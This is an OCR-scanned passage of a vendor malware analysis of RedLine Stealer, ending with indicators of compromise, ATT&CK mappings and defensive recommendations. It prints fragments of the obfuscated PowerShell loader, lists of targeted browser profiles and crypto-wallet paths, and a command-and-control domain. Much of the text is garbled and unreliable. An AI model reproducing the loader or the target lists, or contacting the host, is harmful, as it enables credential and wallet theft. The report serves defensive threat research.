al\Coowon\Coowon\User DataF..,XUSERPROFILEX\AppData\Local\liebao\User DataF...X¥USERPROFILEX\AppData\Local\QIP Su
rf\User DataF..- W . . 3%USERPROFILEX\AppData\Local\Comodo\Dragon\User
5 L+ SERPROFILE%\A--Data\Local\Torch\User DataF..:%USER
8%USERPR
OFILEX\AppData\Local\360Browser\Browser\User DataF. p . ~XUSERPROF
ILEX\AppData\Local\K-Melon\User DataF. S%USERPROFILE%\AppData\Local\Sputnlk\Sputnxk\User DataF. %USERPROFILE%\A
ppData\Local\Nichrome\User DataF..4%USERPROFILEX\AppData\Local\CocCoc\Browser\User DataF. '%USERPROFILE%\AppData
\Local\Uran\User DataF. %USERPROFILE%\AppData\Local\chromodo\User DataF. 2%USERPROFILEX\AppData\Local\Mail Ru\A
tom\User DataF..A%USERPROFILE% - e e : g c\AppData\Loca

1\Microsoft\Edge\User DataF.. . |BUSERP
ROFILE%\A--Data\Local\SteamF. 3 SUSERPROFILEX\A
pa a\Roaming\Moz1 iretox &%USERPROFILE%\App oammg\K -Mele
? ata aming\ThunderbirdF.. .3%USERPROFIL
E%\AppData\Roammg\Specxstudxos\CyberfoxF %USERP 0 3 kHawF. .=XUSER
PROFILE®\AppData\Roaming\Moonchild Braducti Bleliaan !E. . u.- - Z3ppd ta%E%E E...ArmoryE#..*.wal
letEX....E!E...AtomicE#. “Ad = B %appdata%E%E‘E .Bina
ncetE#. . ‘app-store’E% LEIE...Coino . ppaata +..Coin® Y. . “EX. .E"E...Coinomi\Coino
mi\dbE#. .*E%..E'E..JCoinom1i\Coinomi\wallets #. 5 E% .E! E .ElectrumE#. %appdata%E%E ES lﬂm
SE#.."EX....E!E. 53 avan %E’E...Ethereum\wallets&#..‘E%....E'E .ExodusE#. appdataz
EXE'E.. Exodus\exodus walletEk .*EX..E'E...ExodusE#..*.jsonEX....E!E...GuardaE®. %appdata%E%E'E .+ .Guar

daE#. . *EX... - %appdata%E%E 'E...com.liberty.jaxxE#..*EX....E!E...MoneroE#. .Xuserprofile®\Docu
mentsEXE'E. . N e E#.EX.E).E+.E-.E/.E1.E3..cc0uvvnen http://tempuri.org/Entity/Id4.1d4.user.

C2 instruction received at RedLine Stealer host

The Redline Stealer responds to that request with the information grabbed from the compromised
system:

.BM..b-..i.EG.'ID: 544, Name: csrss.exe, CommandLine: EG.6ID: 608, Name: winlogon.exe, CommandLine: winlogon.exeEG.=10: 864, Name: fo
ntdrvhost.exe, CommandLine: “fontdrvhost.exe"EG..ID: 448, Name: dwm.exe, CommandLine: "dwm.exe"EG.@ID: 3228, Name: vm3dservice.e
®xe, CommandLine: vm3dservice.exe -nEG.3ID: 3788, Name: sihost.exe, CommandLine: shost.exeEG.kID: 3844, Name: svchost.exe, CommandL
ine: C:AWINDOWS\system32\svchost.exe -k UnistackSvcGroup -5 COPUserSvcEG.oID: 3972, Name: svchost.exe, CommandLine: C:\WINDOWSY,
system32\svchost.exe -k UnistackSvcGroup -s WpnUserService.EG. ™ ID: 1132, Name: taskhostw.exe, CommandLine: taskhostw.exe {222A42458
-E637-4AFQ-AQ3F-ASOCA119A7SEIEG.SID: 4324, Name: ctfmon.exe, CommandLine: "ctfmon.exe"EG.BID: 4516, Name: explorer.exe, Comman
dline: C:\WINDOWS\Explorer. EXEEG.IID: 4960, Name: svchost.exe, CommandLine: C:\WINDOWS\system32\svchost.exe -k ClipboardSvcGroup
-p -5 cbdhsvc.EG..ID: 5688, Name: StartMenuExperienceHost.exe, CommandLine: "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExp
erienceHost_cwbonlh2tyewy\StartMenuExperienceHost.exe” -ServerName:App.AppXywbrabmsekOgm3tkwprskwzbss5tkgay.mca.EG. " ID: 584
0, Name: RuntimeBroker.exe, CommandLine: C:\Windows'\System32\RuntimeBroker.exe -Embedding.EG..ID: 6036, Name: SearchApp.exe, Co

rmmandLine: "C:\Windows\SystemApps\Microsoft. Windows.Search_cwSn1h2torewy\SearchApp.exe” -ServerName:Cortanall1. AppXB8z9r6imo6h
wabshneegwikyo296wrat.mca.EG." ID: 2824, Name: RuntimeBroker.exe, CommandLine: C:\Windows\System32\RuntimeBroker.exe -Embedd
ingEG.hID: 5896, Mame: SecurityHealthSystray.exe, CormmandLine: "C:\Windows\System32\SecurityHealthSystray.exe” .EG.qlD: 6312, Mame:

vmtoolsd.exe, CommandLine: "C:\Program Files\VMwara\VMware Tools\vmtoolsd.exe” -n vmusrEG.]ID: 6892, Name: svchost.exe, CommandLin
e: CAWINDOWS\system32\svchost.exe -k UnistackSvcGroupEG..ID: 4364, Name: TextInputHost.exe, CommandLine: "C:\Windows\SystemApp
s\Microsoftwindows. Client.CBS_cwsn1h2toyewy!\ TextIinputHost.exe” -ServerName:InputApp.AppXjdsdelg6ev206452mad0dtpppxd copn.maa.
EG.gID: 5128, Mame: UserQOBEBroker.exe, CommandLine: C:\Windows\System32\oobe\UserQOBEBroker.exe -EmbeddingEG..ID: 3120, Name
: LockApp.exe, CommandLine: "C:\Windows\SystemApps\Microsoft.Lockapp_cwSnlh2tovewy\LockApp.exe” -ServerName:WindowsDefaultLoc
kScreen. AppX7y4nbzg37zn4ksok7amgjywdat? d3j2z.mca.EG. " ID: 2308, Name: RuntimeBroker.exe, CommandLline: C:\Windows\System32\Runt
imeBroker.exe -EmbeddingEG.\ID: 6460, Name: smartscreen.exe, CommandLine: C:\Windows\System32\smartscreen.exe -Embedding.EG.qID:
224, Mame: procexpb64.exe, CommandLine: "C:\Users\AP\Desktop\MA-Toolks\Dynamic\Process Explorer\procexp64.exe” EG..ID: 6008, Namea: R
egshot-xe4-Unicode.exe, CommandLine: "C:\Users\AP\Desktop\MA-Tools\Dynamic\RegShot Regshot-1.9.0\Regshot-x64-Unicode.exe” .EG.>ID
: 4256, Name: taskhostw.exe, CommandLine: taskhostw.exe USEREG..ID: 5076, Name: ShelExperienceHost.exe, CommandLine: "C:\Windows
\SystemApps\ShelExperienceHost_cwSn1h2Zteyewy\ShelExperienceHost.exe” -ServerName: App. AppXtkl81thxbce2gsex02s8tw7hfxadxb3t.mc
3.EG." ID: 4764, Name: RuntimeBroker.exe, CommandLine: C:\\Windows\System32\RuntimeBroker.exe -EmbeddingEG.WID: 1836, Name: Wires
hark.exe, CommandLine: "C:\Program Files\Wireshark\Wireshark.exe" .EG.cID: 6948, Name: Fiddler.exe, CommandLine: "C:\Users\AP\AppData\,
Local\Programs\Fiddler\Fiddler.exe" EG.gID: 4848, Mame: Procmong4.exe, CommandLine: "C:\Users\AP\Desktop\MA-Tools\Dynamic\Process Mo
nitor\Procmoné4.exe” .EG..ID: 5312, Name: dumpcap.exe, CommandLline: "C:\Program Files\Wireshark\dumpcap.exe” -n -i \Device\NPF_{823F
A624-A455-4928-AEB0-7DC1565548DA} -y EN10MB -Z 1836.EG.QID: 6960, Name: conhost.exe, CommandLine: 12?\C:\WINDOWS\system32\c
onhost.exe 0x4EG..ID: 6976, Name: cmd.exe, CommandLline: C:A\WINDOWS\systermn32\cmd.exe [K "C:\Users\AP\Desktop\S2\instalment-pape
IS uemnrmsarnns bat" .EG.QID: 4268, Name: conhost.exe, CommandLine: \?P\C:\WINDOWS\system32\conhost.exe 0x4EG..ID: 7064, Name: cmd.e
xe, CommandLine: C:A\WINDOWS\system32\crmd.exe /K "C:\Users\AP\Desktop\S2\installment-papers-.......c..... bat" .EG.QID: 6512, Name: co
nhost.exe, CommandLine: V2P CAWINDOWS\system3 2 conhost.exe 0x4EG...ID: 548, Name: installment-papers-............. bat.exe, ComrmandLin
a: "C:\Users\AP\Desktop\S2\installment-papers-............. bat.exe” -w hidden -c $fivc="InvId TrokeId Tr'.Replace('IdTr', "),'ReassQqdLisSQqnss
QgessSOq'.Replace('sSQqg’, "), ' MaZwWebinZWebMZWebodZWebulZWebeZWeb'.Replace('ZWeb', "), SpMigliNjqiMigtNig'.Replace('Niqg’, "),'GeRs
nHtCRsnHurRsnHreRsnHNtPRsnHroRsnHceRsnHssRsnH' . Replace('RsnH’, ), 'ChulgPanulgPgeulgPExtulgPenulgPsulgPioulgPnulgP'.Replace('ulgpP’, ™)
L CNdQeopNdQey THNdQxoNd Qx'.Replace('NdQx', "), 'LoSakmaSakmdSakm'.Replace('Sakm’, '), DRvNceRvNocoRvNomprRvNceRvNeossRvM ' .Replac
a{'RvNC', "),'TmGupDnsGupDfGupDnrGupDmFGupDinaGupDIBGupDIGupDnckGupD'.Replace('GupD', "), EntKzlvrkzIvyKzIvP Kzlvoin KzIvtkzIv' .Re
place('KzIv', "), ENStpemevStpntvStpAtvStp'.Replace('vsStp', "), FQSCNroQSCHMQSCNBaQSCNsQSCHet4QSCNSEQSCHNNQSCNNngQSCH . Replace(
'QSCN', "), 'CCoXjreCoXjateCoXjDeCoXjcCoXjrCoXjyptCoXjorCoXj' .Replace('CoXj', ");function afsa\W($aBVtE)} $APtTz=[System.Security.Cryptoar
aphy.Aes]::Create(); $APtTz.Mode=[System.Security.Cryptography.CipherMode]:: CBC;$ APt Tz.Padding=[ System.Security. Cryptography.Padding
Mode]::PKCST;$APt Tz.Key=[System.Convert]::($fivc[12]){ 1B TLRFC3gyXod 1i0UDrME2nEWIszmOsSg9wlygelQ=");$ APt Tz.IV=[ System.Conver
tl($five[12])( cvpCMuhwiIpdiDX+Lhb7saw=="); $zMzHi=$ APt Tz.($fivc[13] ) ):$OtZqQ=4$zMzHi.{ $fivc[9]) $gBVLE, 0, $0BVLE.Length); $zMzHi.Di
spose();SAPLTzZ. Dlspuse[) $0tZ0Q; }functlon baCSB($gBVtE){$IbIbv—New—DbJect System.IO. MemuryStream[,$gBVtE] %iRJid= New—Db]ect Syst
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Process monitoring also confirms the TCP communication by Al.exe with host
“kosarrezanezhad2022[.]pserver[.]space”, it sends and receives data using “TCP send” and “TCP
Receive” process:

. SuUCC
e SUCC
... SUCC
. SUCC

. BlAlexe 980 I TCP Send
. BLAl exe 0 CITCP Receive
. BlAlexe 980 P TCP Send
. BlAlexe 6980 CITCP Receive

DESKTOP-AADNS1K:60382
DESKTOP-AADNS1K
DESKTOP-AADNS1K
DESKTOP-AADNS1K:60:

Monitoring the Al.exe process also reveals the information that it attempts to steal from the system as
shown in the following screenshots:

BIAT exe
BELAl exe
ElLAlexe
BlAlexe

| ELAT exe
| ELAT exe
. ELAlexe
| BLAl exe
| ELAT exe

. BLAl exe
. BIAlexe

. BLAl exe
. BIAlexe

. BIAlexe
. BIAl exe
. BIAlexe
| BIAT exe
. BIA1 exe

980 EACreateFile

\Roaming\Adobe

0 ECueryDirectory

B QueryDirectory
H! Juery! E'II’E‘CtOI’)-

ryDirectory
0 FmQu |E'r3.'IZ'Iire-c10r3.r

\Roaming\Adobel*
\Roaming\Adobe
\Roaming\Adobe
\Roaming\Adobe
\Roaming\Adobe
\Roaming\Adobe\*

Roaming\Adobe

\Roaming\Adobe
\Roaming\Adobe
\Roaming\Adobe\Flas
\Roaming\Adobe\Fl
\Roaming\Adobe\FI
Roaming\Adobe\FI
\Roaming\Adobe\Flas

0 EAQueryDirectory
M CueryDirectory

EAQueryDirectory

B QueryDirectory
30 BQueryDirectory

MACloseFile

980 MACloseFile

6980 EAQueryDirectory

ma |IIE'I')-’|:|II'E'CTOI'3|" .o:m1|ng'.l‘~lotep:|d+'-

loaming\Notepad++
loaming\Notepad++\plugins
loaming\Notepad++\plugins\*
loaming\Notepad++\plugins
\Ro :m1|ng'.Notep ad++\plugins

MCre :ItE'FI|E‘
HULIE!I')-’EJII'E!CIOI'Y
B QueryDirectory
B QueryDirectory

BACreateFile
B QueryDirectory
980 EAQueryDirectory
B QueryDirectory

6980 EACloseFile

ro-:-ofL'Y'oanhone

\Microsoft YourPhone_
rosoft YourPhone_
rosoftYourPhone_

SUCCESS

MO MORE FILES
SUICCESS

ESS

ESS

NCJ MOPE FILES
ESS
ESS
SUCCESS
SUCCESS
MO MORE FILES
SUCCESS

SUCCESS
SUCCESS
NO MORE FILES
SUCCESS

SUCCESS
SUCCESS
SUCCESS
NO MORE FILES
SUCCESS

SUCCESS
NO MORE FILES
SUCCESS
SUCCESS
SUCCESS
SUCCESS
NO MORE FILES
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. BIAlexe
. BLAl exe
. BIAlexe

BIAT exe
. BLAlexe

BELAl exe
EIAl exe
BIAT exe
BIAT exe
BElLAT exe
BIAT exe
BIAT exe
BElLAT exe
BIAT exe
BIAT exe
BElLAT exe
BIAl exe
BIAT exe
BELAl exe
EIAl exe
BIAT exe
BlAl exe
EIAl exe

BLAl exe
Al exe

6980 BACreatefFile

6980 EAQueryDirectory
980 EAQueryDirectory
6 B QueryDirectory

6980 MACloseFile

80 EACreateFile
0 EACreateFile
0 EACreateFile
0 BACreateFile
0 MACreateFile
0 EACreateFile

BACreateFile
80 EACreateFile
BACreateFile
80 MACreateFile
MACreateFile
0 EACreateFile
0 BACreateFile
0 EACreateFile
0 EACreateFile
0 BACreateFile 1¢ \ ir Inc\Sleipn ﬂlﬂg'.n‘IOdIHE'H" hromiumViewer,
0 BACreateFile \Users | ; > t=|I|n=|Gr0||p'l itrio\J
BCreateFile |

MACreateFile
MACreateFile
MACreateFile
MACreateFile
MACreateFile
MACreateFile
MACreateFile
MACreateFile
MACreateFile
MACreateFile
MACreateFile
MACreateFile
MACreateFile

C:\Users\AP\AppData\Local\NordVPN
DESKTOP-AADNS1K:60 = ;
DESKTOP-AADNSTK:
CAWINDOWS\SysWOWE4\?
DESKTOP-AADNSIK:
DESKTOP-AADNS1K:60 .
CAWINDOWS\SysWOWE4\%

Looking for FileZilla FTP data

ser Dat:

NCJ MORE FILES
SUCCESS
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EIAl exe 980 MACreateFile

BIAT exe B QueryDirectory

EIAl exe 0 MCloseFile

BIAlexe

BIAlexe

BIAlexe

BIAl exe

ELAl.exe ryDirectory

BIAl exe seFile

BIAl exe

BIAlexe 0 ueryDirectory

BIAlexe 0 File Users\AP\D
BIAlexe File \ p
BLAl.exe 0 EAQueryDirectory } ) Jesktop\*seed”
ElAlexe 0 EmcC File L y Jesktop
BIAl exe \

BIAl exe

BIAl exe

BIAT exe

BIAT exe

BIAT exe

BIAT exe

BIAT exe

BIAT exe

BIAT exe

EIAl exe

EIAl exe

EIAl exe

Al exe

EIAl exe

Harvesting documents, key, wallets, and other data from ‘Desktop’ and ‘Documents’

The original malware file “installment-papers.zip” has very low detection on the VirusTotal at the time
on analysis:

6 @ 6 security vendors and no sandboxes flagged this file as malicious R
160 e0f044%aaeddc117e34517eBc83fd49faf20379dc4f2fd35/291dd5003864e2 Size
installment-papers.zip 294.32 KB

zip detect-debug-environment long-sleeps checks-user-input
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RedLine Stealer CAPABILITIES °

The analysis of the Redline Stealer provides insights of it and reveals its functionality. Based on the
analysis and the extracted data, followings are the capabilities of the RedLine Stealer malware:

1. Credential stealing

2. Capable of extracting sensitive data from web-browsers, email clients and other communication
apps

3. Harvesting system user data
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4. Targefts financial data, such as Cryptocurrency wallet and save credit card data

5. Steals network and FTP login information

6. Looks for Document at various locations on the compromised system

7. Exfiltrates hardware and installed software information

8. Steals VPN configuration data

9. Looks for the stored cryptographic certificates

10. Collects information for system profiling, such as location data, IP address, city, country, language
11. Exfiltrates the gathered data to the adversary at regular intervals

CONCLUSION o

RedLline is an information stealer malware that uses MaaS (malware-as-a-service) model, a dangerous
form of malware that can cause significant damage to organizations and end users. It is being
distributed by various means and threat actors are continuously making changes to the techniques to
make it undetectable for an extended period of time. It is also being sold on the underground forums
and encouraging cybercriminals to accomplish their evil intentions.

The best way to protect the organization and end user from the RedLine Stealer is to be cautious with
suspicious links and files received on the emails. Users should be aware that even trustworthy sources
can lead to infection and data theft. Hardening the system, network and application security can
help to reduce the risk of infection. Using up-to-date anti-malware software and adaptive
organizational security policy is essential for effective protection.

INDICATORS OF COMPROMISE .
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1 [8248867e6d42d41cfdea624f87el4fab MDS5 Hash installment-papers.zip
2 |e0f0449aaeddcl117e34517e8c83fd49faf2b379dc4f2fd35ff291dd5003864e2 | SHA-256 Hash| installment-papers.zip
3  |b4c53eb42fac3e0c8770a4704171cfb6 MD5 Hash installment-papers-pdf .bat
4 (f4f093e1c950a233464a6a17a2040630c9e4f69b282f4a34510b3de35d5723b0| SHA-256 Hash| installment-papers-pdf.bat
5 [28caece68c96bec864c5b61d09a8ad06 MD5 Hash Al.exe
6 [197b50f15375335928e08c5cc5b6f50cd93864655237b8db85556d4057f3b988 SHA-256 Hash Al.exe

MITRE ATT&CK TACTICS AND TECHNIQUES ——

No. Tactic ‘ Technique

1 Initial Access (TAO0O1) T1566: Phishing
T1204.002: Malicious File

Execution (TA0002) T1059.003: Windows Command Shell

T1059.001: PowerShell

2 Defense Evasion (TA0OO5) T1564.001: Hidden Files and Directories

3 Credential Access (TA0006) T1555.003: Credentials from Web Browsers

4 Discovery (TA0O007) T1087: Account Discovery

T1217: Browser Information Discovery

T1046: Network Service Discovery

T1057: Process Discovery

T1012: Query Registry

T1518: Software Discovery

T1016: System Network Configuration Discovery
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T1083 - File and Directory Discovery
T1082: System Information Discovery
5 Command and Control (TAO011) | T1102: Web Service

6 Collection (TA0009) T1113: Screen Capture
7 Exfiltration (TA0010) T1041: Exfiltration Over Command-and-Control
Channel

8 Command & Control (TA0011) T1102.002: Bidirectional Communication

RECOMMENDATIONS .

Implement threat intelligence to proactively counter the threats associated with RedLine Stealer.
To protect the endpoints, use robust endpoint security solutions for real-time monitoring and
threat detection such as Antimalware security suit and host-based intrusion prevention system.
Continuous monitoring of the network activity with NIDS/NIPS and using the web application
firewall to filter/block the suspicious activity provides comprehensive protection from compromise
due to encrypted payloads.

Configure firewalls to block outbound communication to known malicious IP addresses and
domains associated with RedLine Stealer command and conftrol servers.

Implement behavior-based monitoring to detect unusual activity patterns, such as suspicious
processes attempting to make unauthorized network connections.

Employ application whitelisting to allow only approved applications to run on endpoints,
preventing the execution of unauthorized or malicious executables.

Conducting vulnerability assessment and penetration testing on the environment periodically
helps in hardening the security by finding the security loopholes followed by remediation process.
Use of security benchmarks to create baseline security procedures and organizational security
policies is also recommended.

Develop a comprehensive incident response plan that outlines steps to take in case of a malware
infection, including isolating affected systems and nofifying relevant stakeholders.

Security awareness and fraining programs help to protect from the security incidents such as
social engineering attacks. Organizations should remain vigilant and continuously adapt their
defenses to mitigate the evolving threats posed by RedLine Stealer.

Update security patches which can reduce the risk for potential compromise.
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DECODING THREATS

CYFIRMA is an external threat landscape management platform company. We combine cyber
inteligence with attack surface discovery and digital risk protection to deliver early warning,
personalized, contextual, outside-in, and multi-layered insights. Our cloud-based Al and ML-powered
analytics platform provides the hacker’s view with deep insights into the external cyber landscape,
helping clients prepare for impending attacks. CYFIRMA is headquartered in Singapore with offices
across APAC, US and EMEA. The company is funded by Goldman Sachs, Zodius Capital, Z3 Partners,
OurCrowd and L&T Innovations Fund.
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